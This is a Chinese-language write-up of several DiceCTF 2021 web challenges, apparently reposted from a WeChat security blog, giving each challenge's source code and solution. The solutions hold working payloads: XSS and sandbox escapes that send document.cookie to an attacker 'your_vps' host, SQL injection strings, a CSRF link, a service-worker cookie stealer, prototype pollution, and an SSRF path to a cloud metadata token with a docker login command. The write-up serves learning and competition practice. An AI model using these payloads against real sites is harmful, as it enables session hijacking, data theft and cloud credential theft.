Description
const express = require('express');const crypto = require("crypto");const config = require("./config.js");const app = express()const port = process.env.port || 3000;const SECRET = config.secret;const NONCE = crypto.randomBytes(16).toString('base64');const template = name => `
<html>${name === '' ? '': `<h1>${name}</h1>`}<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => { console.log(`Example app listening at http://localhost:${port}`)
})
Solution
const NONCE = crypto.randomBytes(16).toString('base64');
,所以当运行的时候,nonce 不会改变。<html><a href='#' id=elem>View Fruit</a><script nonce=g+ojjmb9xLfE+3j9PsP/Ig==>elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}</script></html>
https://babier-csp.dicec.tf/?name=%3Cscript%20nonce%3d%22g%2bojjmb9xLfE%2b3j9PsP/Ig==%22%3Ewindow.location=%22http://your_vps/?a=%22%2bencodeURIComponent(document.cookie);%3C/script%3E//secret=4b36b1b8e47f761263796b1defd80745
Missing Flavortext
Description
const crypto = require('crypto');const db = require('better-sqlite3')('db.sqlite3')// remake the `users` tabledb.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);// add an admin user with a random passworddb.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);const express = require('express');const bodyParser = require('body-parser');const app = express();// parse json and serve static filesapp.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));// login routeapp.post('/login', (req, res) => { if (!req.body.username || !req.body.password) { return res.redirect('/');
} if ([req.body.username, req.body.password].some(v => v.includes('''))) { return res.redirect('/');
} // see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`; let id; try { id = db.prepare(query).get()?.id } catch { return res.redirect('/');
} // correct login
if (id) return res.sendFile('flag.html', { root: __dirname }); // incorrect login
return res.redirect('/');
});
app.listen(3000);
Solution
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
if (id) return res.sendFile('flag.html', { root: __dirname });
if ([req.body.username, req.body.password].some(v => v.includes('''))) { return res.redirect('/');
}
username=1&password=or 1;--
这样我们就可以构造成SELECT id FROM users WHERE username = '1' AND password = 'or 1;--'
''
,例如:INSERT INTO table_name (field1, field2) VALUES (123, 'Hello there''s');
var a = ["admin'"];var b = "or 1=1;--"[a, b].some((v) => v.includes("'")) // false
username[]=admin'&password=or 1--
SELECT id FROM users WHERE username = 'admin'' AND password = 'or 1--'
Web Utils
Description
Solution
createLink
函数进行操作,并对用户传入的 url 有限制,只允许 http|https 协议:const regex = new RegExp('^https?://');if (! regex.test(req.body.data)) return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({ statusCode: 200, error: 'Invalid URL'
});
addData
函数将其与对应随机生成的 uuid 加入数据库当中:database.addData({ type: 'link', ...req.body, uid });
const Database = require('better-sqlite3')const db = new Database('db.sqlite3')const init = () => {
db.prepare(`CREATE TABLE IF NOT EXISTS data(
id INTEGER PRIMARY KEY AUTOINCREMENT,
uid TEXT,
data TEXT,
type TEXT
);`).run();
}
init();const statements = { getData: db.prepare(`SELECT data, type FROM data WHERE uid = ?;`), addData: db.prepare(`INSERT INTO data (uid, data, type) VALUES (?, ?, ?);`)
}module.exports = { getData: ({ uid }) => { return statements.getData.get(uid);
}, addData: ({ uid, data, type }) => {
statements.addData.run(uid, data, type);
}, generateUid: (length) => { const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; const arr = []; for (let i = 0; i < length; i++) {
arr.push(
characters.charAt(Math.floor(Math.random() * characters.length))
);
} return arr.join('');
}
}
<!doctype html><html><head>
<script async>
(async () => { const id = window.location.pathname.split('/')[2]; if (! id) window.location = window.origin; const res = await fetch(`${window.origin}/api/data/${id}`); const { data, type } = await res.json(); if (! data || ! type ) window.location = window.origin; if (type === 'link') return window.location = data; if (document.readyState !== "complete") await new Promise((r) => { window.addEventListener('load', r); }); document.title = 'Paste'; document.querySelector('div').textContent = data;
})() </script></head><body>
<div style="font-family: monospace"></div></bod></html>
{"statusCode":200,"data":"http://baidu.com","type":"link"}
window.location
的方式进行 url 跳转实现短链接的功能。createPaste
函数进行操作,对用户传入的数据并没有限制,并且与短链接存储方式使用相同的addData
函数进行操作插入数据库:database.addData({ type: 'paste', ...req.body, uid });
{"statusCode":200,"data":"wuhu","type":"paste"}
document.querySelector('div').textContent = data;
的形式输出的页面上。textContent
输出的内容会自动将标签符号进行转义,并且输出点还在一个 div 标签内,无法直接进行 XSSwindow.location=javascript:alert(1)
的形式执行 javascript 代码,但是使用该功能的前提是需要短链接的形式,并且短链接开头只能由 http|https 开头,并不能使用 javascript ,并且是使用了RegExp('^https?://')
的正则形式,我们并不能直接绕过这个正则,所以我们需要找个什么办法绕过这个限制。addData
,该函数是通过type
参数来判断插入的类型内容,并且我们注意到两个功能传入该函数都使用的是 ...req.body
function sum(x, y, z) { return x + y + z;
}const numbers = [1, 2, 3];console.log(sum(...numbers));// expected output: 6console.log(sum.apply(null, numbers));// expected output: 6
...req.body
,我们不难想到如果我们使用相同的 key ,会怎么样呢?例如function addData({ uid, data, type }) { console.log(uid, data, type);
}var uid = "uid";var a = { data: "wuhu", type: "link" };
addData({ type: "paste", ...a, uid });// output: uid wuhu link
type: "link"
的特殊 json ,利用createPaste
函数帮我们插入一个 link 类型的数据,这样得到的短链接内容就是一个我们可以自己控制内容的 link 类型的了。createPaste
的 API 再传入一个 type: 'link'
,这样就可以覆盖掉了前面的 type: 'paste'
就可以得到一个触发 XSS 的短链接了{"data":"javascript:window.location='https://your_vps/?a='+encodeURIComponent(document.cookie);","type":"link"}
{"statusCode":200,"data":"otEJvitt"}
Build a Panel
Description
sameSite: 'lax'
改成了 sameSite: 'strict'
,如果不了解 sameSite Cookie,我们可以简单看一下介绍 SameSite CookieSameSite
接受下面三个值:Lax Cookies允许与顶级导航一起发送,并将与第三方网站发起的GET请求一起发送。这是浏览器中的默认值。 Strict Cookies只会在第一方上下文中发送,不会与第三方网站发起的请求一起发送。 None Cookie将在所有上下文中发送,即允许跨域发送。 以前 None
是默认值,但最近的浏览器版本将Lax
作为默认值,以便对某些类型的跨站请求伪造 (CSRF) 攻击具有相当强的防御能力。使用 None
时,需在最新的浏览器版本中使用Secure
属性。更多信息见下文。
query = `CREATE TABLE IF NOT EXISTS flag (
flag TEXT
)`;
db.run(query, [], (err) => { if(!err){ let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
db.run(innerQuery);
}else{ console.error('Could not create flag table');
}
});
app.get('/admin/debug/add_widget', async (req, res) => { const cookies = req.cookies; const queryParams = req.query; if(cookies['token'] && cookies['token'] == secret_token){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
db.run(query, (err) => { if(err){ console.log(err);
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
res.redirect('/');
}
});
(SELECT flag from flag)
子查询的方式获得,再看看我们应该怎么查看插入的数据,审计代码其中有一个查看的 API 是:app.post('/panel/widgets', (req, res) => { const cookies = req.cookies; if(cookies['panelId']){ const panelId = cookies['panelId'];
query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
db.all(query, [panelId], (err, rows) => { if(!err){ let panelWidgets = {}; for(let row of rows){ try{
panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
}catch{
}
}
res.json(panelWidgets);
}else{
res.send('something went wrong');
}
});
}
});
row['widgetdata']
满足 JSON 的格式,这样才不会让JSON.parse
函数出错。panelid=foo',(SELECT+flag+from+flag),'{"type"%3a"sss"}>')%3b--&widgetname=1&widgetdata=1
,这样我们得到的 sqlite 语句就是INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('foo',(SELECT flag from flag),'{"type":"sss"}');--', '1', '1');
panelId=foo
,通过/panel/widgets
路由查询得到 flag/admin/debug/add_widget
路由的 admin 的前提条件,因为本题是个 XSS 题目,可以让 bot 访问我们的链接,并且在前面我们注意到 sameSite 设置为了 lax ,所以我们似乎可以通过让 admin 直接访问我们构造的如下的 url ,让 admin 帮我们插入这个数据,完成一次 CSRF 攻击。https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=foo',(SELECT+flag+from+flag),'{"type"%3a"sss"}')%3b--&widgetname=1&widgetdata=1
panelId=foo
的 Cookie 访问/panel/widgets
即可:Web IDE
Description
const express = require('express');const crypto = require('crypto');const app = express();const adminPassword = crypto.randomBytes(16).toString('hex');const bodyParser = require('body-parser');
app.use(require('cookie-parser')());// don't let people iframeapp.use('/', (req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY'); return next();
});// sandbox the sandboxapp.use('/sandbox.html', (req, res, next) => {
res.setHeader('Content-Security-Policy', 'frame-src 'none''); // we have to allow this for obvious reasons
res.removeHeader('X-Frame-Options'); return next();
});// serve static filesapp.use(express.static('public/root'));
app.use('/login', express.static('public/login'));// handle login endpointapp.use('/ide/login', bodyParser.urlencoded({ extended: false }));
app.post('/ide/login', (req, res) => { const { user, password } = req.body; switch (user) { case 'guest': return res.cookie('token', 'guest', { path: '/ide', sameSite: 'none', secure: true
}).redirect('/ide/'); case 'admin': if (password === adminPassword) return res.cookie('token', `dice{${process.env.FLAG}}`, { path: '/ide', sameSite: 'none', secure: true
}).redirect('/ide/'); break;
}
res.status(401).end();
});// handle file savingapp.use('/ide/save', bodyParser.raw({ extended: false, limit: '32kb', type: 'application/javascript'}));const files = new Map();
app.post('/ide/save', (req, res) => { // only admins can save files
if (req.cookies.token !== `dice{${process.env.FLAG}}`) return res.status(401).end(); const data = req.body; const id = `${crypto.randomBytes(8).toString('hex')}.js`;
files.set(id, data);
res.type('text/plain').send(id).end();
});
app.get('/ide/saves/:id', (req, res) => { // only admins can view files
if (req.cookies.token !== `dice{${process.env.FLAG}}`) return res.status(401).end(); const data = files.get(req.params.id); if (!data) return res.status(404).end();
res.type('application/javascript').send(data).end();
});// serve static files at ide, but auth firstapp.use('/ide', (req, res, next) => { switch (req.cookies.token) { case 'guest': return next(); case `dice{${process.env.FLAG}}`: return next(); default: return res.redirect('/login');
}
});
app.use('/ide', express.static('public/ide'));
app.listen(3000);
Solution
res.type('application/javascript').send(data).end();
,意味着无法直接执行 js 代码进行 XSS<!doctype html><html>
<head>
<title>Web IDE</title>
<link rel="stylesheet" href="src/styles.css"/>
<script src="src/index.js"></script>
</head>
<body>
<div id="editor">
<textarea>console.log('Hello World!');</textarea>
<iframe src="../sandbox.html" frameborder="0" sandbox="allow-scripts"></iframe>
<br />
<button id="run">Run Code</button>
<button id="save">Save Code (Admin Only)</button>
</div>
</body></html>
(async () => { await new Promise((r) => { window.addEventListener(('load'), r); }); document.getElementById('run').addEventListener('click', () => { document.querySelector('iframe')
.contentWindow
.postMessage(document.querySelector('textarea').value, '*');
}); document.getElementById('save').addEventListener('click', async () => { const response = await fetch('/ide/save', { method: 'POST', body: document.querySelector('textarea').value, headers: { 'Content-Type': 'application/javascript'
}
}); if (response.status === 200) { window.location = `/ide/saves/${await response.text()}`; return;
}
alert('You are not an admin.');
});
})();
postMessage
函数发送给上级目录的 sandbox.html ,我们在看到 sandbox.html 页面内容主要由一个 sandbox.js 组成:(async () => { await new Promise((r) => { window.addEventListener(('load'), r); }); const log = (data) => { const element = document.createElement('p');
element.textContent = data.toString(); document.querySelector('div').appendChild(element); window.scrollTo(0, document.body.scrollHeight);
}; const safeEval = (d) => (function (data) { with (new Proxy(window, { get: (t, p) => { if (p === 'console') return { log }; if (p === 'eval') return window.eval; return undefined;
}
})) { eval(data);
}
}).call(Object.create(null), d); window.addEventListener('message', (event) => { const div = document.querySelector('div'); if (div) document.body.removeChild(div); document.body.appendChild(document.createElement('div')); try {
safeEval(event.data);
} catch (e) {
log(e);
}
});
})();
postMessage
得到的内容,并将其放入到safeEval
函数中进行执行,其中使用了Proxy
类创建了一个类似沙箱的功能,只能执行有限的 js 代码:with (new Proxy(window, { get: (t, p) => { if (p === 'console') return { log }; if (p === 'eval') return window.eval; return undefined;
}
})) { eval(data);
}
"".constructor.constructor("return this")()
获取到 window 对象,我们可以直接在其中执行 js 代码,例如:"".constructor.constructor("console.log(window.location)")()
postMessage
验证是否是成功在他的域名上执行了 js 代码:<iframe
id="f"
src="https://web-ide-v2.dicec.tf/sandbox.html"
sandbox="allow-scripts"
frameborder="0"
></iframe><script>
f.addEventListener("load", () => {
f.contentWindow.postMessage( `"".constructor.constructor("console.log(window.location)")()`, "*"
);
});</script>
return res.cookie('token', `dice{${process.env.FLAG}}`, { path: '/ide', sameSite: 'none', secure: true}).redirect('/ide/');
window.open
打开一个 /ide 页面,然后再获取其 cookie ,大致代码如下:var opener = window.open("https://web-ide.dicec.tf/sandbox.html");
setTimeout(function () { var data = `"".constructor.constructor('var opener = window.open("https://web-ide.dicec.tf/ide/");setTimeout(function(){window.location = "https://your_vps/?a="+ encodeURIComponent(opener.document.cookie);},1000)')()`;
opener.postMessage(data, "*");
}, 1000);
setTimeout
是为了等页面加载出来,比较懒的做法。直接在你的 vps 上放置含有如上 js 代码的 html 页面,让 admin 访问你的页面,就可以收到 cookie 了。Author Intended Solution
<iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe><script>
f.addEventListener('load', () => {
f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save", {
"headers": {
"content-type": "application/javascript",
},
"body": "self.addEventListener('fetch', e=>{if (e.request.method != 'GET') {return;} e.respondWith(new Response('<script>navigator.sendBeacon(\\\\'your_vps\\\\', document.cookie)</sc'+'ript>',{headers:{\\'content-type\\':\\'text/html\\'}}));});",
"method": "POST",
"mode": "cors",
"credentials": "include"
}).then(response=>response.text()).then(path=>{[].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path, {scope: '/ide/saves/'})});`, '*');
setTimeout(() => {location = 'https://web-ide.dicec.tf/ide/saves/'}, 1000)
})
</script>
Build a Better Panel
Description
^https://build-a-better-panel.dicec.tf/create?[0-9a-z-=]+$
Solution
app.get('/create', (req, res) => { const cookies = req.cookies; const queryParams = req.query; if(!cookies['panelId']){ const newPanelId = queryParams['debugid'] || uuidv4();
res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'strict'});
}
res.redirect('/panel/');
});
app.get('/panel/', (req, res) => { const cookies = req.cookies; if(cookies['panelId']){
res.render('pages/panel');
}else{
res.redirect('/');
}
});
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];const safeDeepMerge = (target, source) => { for (const key in source) { if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){ if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}const displayWidgets = async () => { const userWidgets = await (await fetch('/panel/widgets', {method: 'post', credentials: 'same-origin'})).json(); let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets); const timeData = await (await fetch('/status/time')).json(); const weatherData = await (await fetch('/status/weather')).json(); const welcomeData = await (await fetch('/status/welcome')).json(); const widgetData = {'time': timeData['data'], 'weather': weatherData['data'], 'welcome': welcomeData['data']}; const widgetPanel = document.getElementById('widget-panel'); for(let name of Object.keys(toDisplayWidgets)){ const widgetType = toDisplayWidgets[name]['type']; const panel = document.createElement('div');
panel.className = 'panel panel-default'; const panelTitle = document.createElement('h5');
panelTitle.className = 'panel-heading';
panelTitle.textContent = name; const panelData = document.createElement('p');
panelData.className = 'panel-body'; if(widgetData[widgetType]){
panelData.textContent = widgetData[widgetType];
}else{
panelData.textContent = 'The widget type does not exist, make sure you spelled it right.';
}
panel.appendChild(panelTitle);
panel.appendChild(panelData);
widgetPanel.appendChild(panel);
}
};window.onload = (_event) => {
displayWidgets();
};
<script src="https://cdn.embedly.com/widgets/platform.js"></script>
<script>
Object.prototype.onload = 'alert(1)'</script><blockquote class="reddit-card" >
<a href="https://www.reddit.com/r/Slackers/comments/c5bfmb/xss_challenge/">XSS Challenge</a></blockquote><script async src="https://embed.redditmedia.com/widgets/platform.js" charset="UTF-8"></script>
onload
属性就能有一个 XSS 了,问题就来到了如果绕过对于__proto__
关键字的绕过,这里我们可以看到通过constructor.protoype
来绕过这个限制,例如:Object.__proto__ === Object.constructor.prototype //true
<!DOCTYPE html><html lang="en">
<head>
<script>
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined']; const safeDeepMerge = (target, source) => { for (const key in source) { if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){ if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
} const userWidgets = JSON.parse(`{"constructor": {"prototype": {"onload": "alert(1)"}}}`); let toDisplayWidgets = { "welcome back to build a panel!": { type: "welcome" },
};
safeDeepMerge(toDisplayWidgets, userWidgets); </script>
<script src="https://cdn.embedly.com/widgets/platform.js"></script>
</head>
<blockquote class="reddit-card">
<a href="https://www.reddit.com/r/memes/comments/cg8smk/a_meme_about_blank_pages/"></a>
</blockquote>
</body></html>
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");
res.setHeader("X-Frame-Options", "DENY");
srcdoc
来帮助我们直接放一个可以做请求的标签就可以了呢?因为我们要请求的 url 也在自己域名内,所以也可以满足 CSP 的要求。所以我们可以弄一个 script 标签,其 src 指向我们JSON.stringify({ widgetName: 'constructor', widgetData: JSON.stringify({ prototype: { srcdoc: `<script src="/admin/debug/add_widget?panelid=foo'%2C(SELECT%20flag%20from%20flag)%2C'%7B%22type%22%3A%22sss%22%7D')%3B--&widgetname=1&widgetdata=1"></script>`
}
})
})//{"widgetName":"constructor","widgetData":"{"prototype":{"srcdoc":"<script src=\"/admin/debug/add_widget?panelid=foo'%2C(SELECT%20flag%20from%20flag)%2C'%7B%22type%22%3A%22sss%22%7D')%3B--&widgetname=1&widgetdata=1\"></script>"}}"}
Watermark as a Service
Description
const dns = require("dns");const express = require("express");const ip = require("ip");const path = require("path");const puppeteer = require("puppeteer");const sharp = require("sharp");const app = express();const ALLOWED_PROTOCOLS = ["http:", "https:"];const BLOCKED_HOSTS = ["metadata.google.internal", "169.254.169.254"];
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname + "/public/index.html"));
});
app.get("/snap", async (req, res) => { const url = decodeURIComponent(req.query.url); if (!url) {
res.sendStatus(400);
} let urlObj; try {
urlObj = new URL(url);
} catch {
res.sendStatus(400);
} const hostname = urlObj.hostname; if (ip.isPrivate(hostname)) {
res.sendStatus(400);
} if (BLOCKED_HOSTS.some((blockedHost) => hostname.includes(blockedHost))) {
res.sendStatus(400);
} const protocol = urlObj.protocol; if (
!ALLOWED_PROTOCOLS.some((allowedProtocol) =>
protocol.includes(allowedProtocol)
)
) {
res.sendStatus(400);
}
dns.resolve4(hostname, function (err, addresses) { if (err) {
res.sendStatus(400);
}
addresses.forEach(function (address) { if (address === "169.254.169.254") {
res.sendStatus(400);
}
});
}); const browser = await puppeteer.launch({ args: ["--no-sandbox", "--disable-setuid-sandbox"],
}); try { const page = await browser.newPage(); await page.goto(url); const imageBuffer = await page.screenshot();
sharp(imageBuffer)
.composite([{ input: "dicectf.png", gravity: "southeast" }])
.toBuffer()
.then((outputBuffer) => {
res.status(200).contentType("image/png").send(outputBuffer);
});
} catch (error) { console.error(error);
} finally { await browser.close();
}
});
app.listen(3000, () => { console.log("Listening on 3000");
});console.log(process.env.FLAG);
Solution
Metadata-Flavor: Google
请求头,我们可以考虑 CRLF 注入什么的,有点类似 BalsnCTF 2020 tpc 的那道题目,可是这里我们并没有找到一个 CRLF 注入点,所以我们需要找其他的方法。{"attributes": {"gce-container-declaration":"spec:n containers: n - name: waasn image:
gcr.io/dicegang-waas/waasn stdin: falsen tty: falsen restartPolicy: Alwaysnn# This
container declaration format is not public API and may change without notice. Pleasen# use gcloud
command-line tool or Google Cloud Console to run Containers on Google Compute Engine.", “google-
logging-enabled":"true"}, "description":"", "disks":
[{"deviceName": "waas", “index":0, “interface”: "SCSI", "mode": "READ_WRITE", "type": "PERSISTENT"}], "guestA
ttributes":{}, "hostname": "waas.us-easti-b.c.dicegang-
waas.internal", "id":2549341475975469686, "image" : "projects/cos-cloud/global/images/cos-stable-85-
13310-1209-7", "licenses": [{"id" : "6880041984996540132"}, {"id" :"166739712233658766"},
{"id":"1001010"}], “machineType": "projects/608525903049/machineTypes/e2-
micro", “maintenanceEvent": "NONE", “name":"waas", "networkInterfaces":[{"accessConfigs":
[{"externalIp":"35.229.111.15", "type": "ONE_TO_ONE_NAT"}], “dnsServers":
("169.254.169.254"), "forwardedIps":[], "gateway": "10.142.0.1", "ip":"10.142.0.2", "ipAliases":
[], "mac": "42:01: 0a: 8e: 00:02", "mtu": 1460, "network": "projects/608525903049/networks/default", "subnetma
sk":"255.255. 240.0", "targetInstanceIps":[]}], "preempted": "FALSE", "scheduling":
{"automaticRestart": "TRUE", “onHostMaintenance" : "MIGRATE", "preemptible":"FALSE"}, "serviceAccounts":
{"default": {"aliases":["default"], "email": "waas -155@dicegang-waas .iam.gserviceaccount.com", "scopes":
["https: //www.googleapis.com/auth/cloud-platform"]}, "waas -155@dicegang-
waas.iam.gserviceaccount.com": {"aliases":["default"], "email": "waas-155@dicegang -
waas.iam.gserviceaccount.com", "scopes": ["https: //www.googleapis.com/auth/cloud-platform"]}}, "tags":
["http-server", "https-server"], "zone": "projects/608525903049/zones/us-east1-b"}
gcr.io/dicegang-waas/waas
,我们可以通过以下方式获取到对应的 Token:http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json{"access_token":"ya29.c.Ko0B8gfnSKSLRHwb6qsNMrDc7577bpZ-Hl99GNXP6i-YYp1GqZmibofKkJHYQRh8NAVnqTxLl7XNUQI7Zwl6PQJY-FYq5IpVMRfr3KwixAKjxhWchqTleR_3sXtjaIaG64wwW5u6uxwg3WCoBi-NklStqkoytTGAZMtrv4yLDUB3WeUzGqs2uGtMbvuyPbG5", “expires_in":3292, "token_type":"Bearer"}
docker login -u oauth2accesstoken -p "ya29.c.Ko0B8gfnSKSLRHwb6qsNMrDc7577bpZ-Hl99GNXP6i-YYp1GqZmibofKkJHYQRh8NAVnqTxLl7XNUQI7Zwl6PQJY-FYq5IpVMRfr3KwixAKjxhWchqTleR_3sXtjaIaG64wwW5u6uxwg3WCoBi-NklStqkoytTGAZMtrv4yLDUB3WeUzGqs2uGtMbvuyPbG5" gcr.io
- 结尾 - 精彩推荐 【技术分享】带你搞懂符号执行的前世今生与最近技术 【技术分享】从长城杯两道题目看新老libc的利用 【技术分享】从内核层面分析部分PHP函数 戳“阅读原文”查看更多内容 原文始发于微信公众号(安全客):【技术分享】DiceCTF 2021 学习笔记
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论